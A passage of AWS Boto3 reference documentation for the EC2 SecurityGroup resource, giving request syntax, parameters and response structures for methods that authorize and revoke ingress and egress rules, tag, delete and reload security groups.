._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Returns + +None + +authorize_ingress(kwargs_) + +Adds the specified ingress rules to a security group. + +An inbound rule permits instances to receive traffic from the specified IPv4 or IPv6 CIDR address ranges, or from the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For TCP and UDP, you must also specify the destination port or port range. For ICMP/ICMPv6, you must also specify the ICMP/ICMPv6 type and code. You can use -1 to mean all types or all codes. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupIngress) + +**Request Syntax** + +response = security_group.authorize_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) + +Parameters + +* **CidrIp** (_string_) -- + + The IPv4 address range, in CIDR format. You can't specify this parameter when specifying a source security group. To specify an IPv6 address range, use a set of IP permissions. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **FromPort** (_integer_) -- + + The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use -1 to specify all types. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- + + The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). To specify icmpv6 , use a set of IP permissions. + + [VPC only] Use -1 to specify all protocols. If you specify -1 or a protocol other than tcp , udp , or icmp , traffic on all ports is allowed, regardless of any ports you specify. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **SourceSecurityGroupName** (_string_) -- [EC2-Classic, default VPC] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. For EC2-VPC, the source security group must be in the same VPC. +* **SourceSecurityGroupOwnerId** (_string_) -- [nondefault VPC] The AWS account ID for the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- + + The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use -1 to specify all codes. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = security_group.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes a security group. + +If you attempt to delete a security group that is associated with an instance, or is referenced by another security group, the operation fails with InvalidGroup.InUse in EC2-Classic or DependencyViolation in EC2-VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSecurityGroup) + +**Request Syntax** + +response = security_group.delete( + GroupName='string', + DryRun=True|False +) + +Parameters + +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You can specify either the security group name or the security group ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_security_groups()](#EC2.Client.describe_security_groups "EC2.Client.describe_security_groups") to update the attributes of the SecurityGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +security_group.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_security_groups()](#EC2.Client.describe_security_groups "EC2.Client.describe_security_groups") to update the attributes of the SecurityGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +security_group.reload() + +Returns + +None + +revoke_egress(kwargs_) + +[VPC only] Removes the specified egress rules from a security group for EC2-VPC. This action does not apply to security groups for use in EC2-Classic. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +[Default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the IPv4 or IPv6 CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupEgress) + +**Request Syntax** + +response = security_group.revoke_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The outbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +revoke_ingress(kwargs_) + +Removes the specified ingress rules from a security group. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +[EC2-Classic , default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupIngress) + +**Request Syntax** + +response = security_group.revoke_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) + +Parameters + +* **CidrIp** (_string_) -- The CIDR IP address range. You can't specify this parameter when specifying a source security group. +* **FromPort** (_integer_) -- The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use -1 to specify all ICMP types. +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a source security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). Use -1 to specify all. +* **SourceSecurityGroupName** (_string_) -- [EC2-Classic, default VPC] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. For EC2-VPC, the source security group must be in the same VPC. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **SourceSecurityGroupOwnerId** (_string_) -- [EC2-Classic] The AWS account ID of the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use -1 to specify all ICMP codes for the ICMP type. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 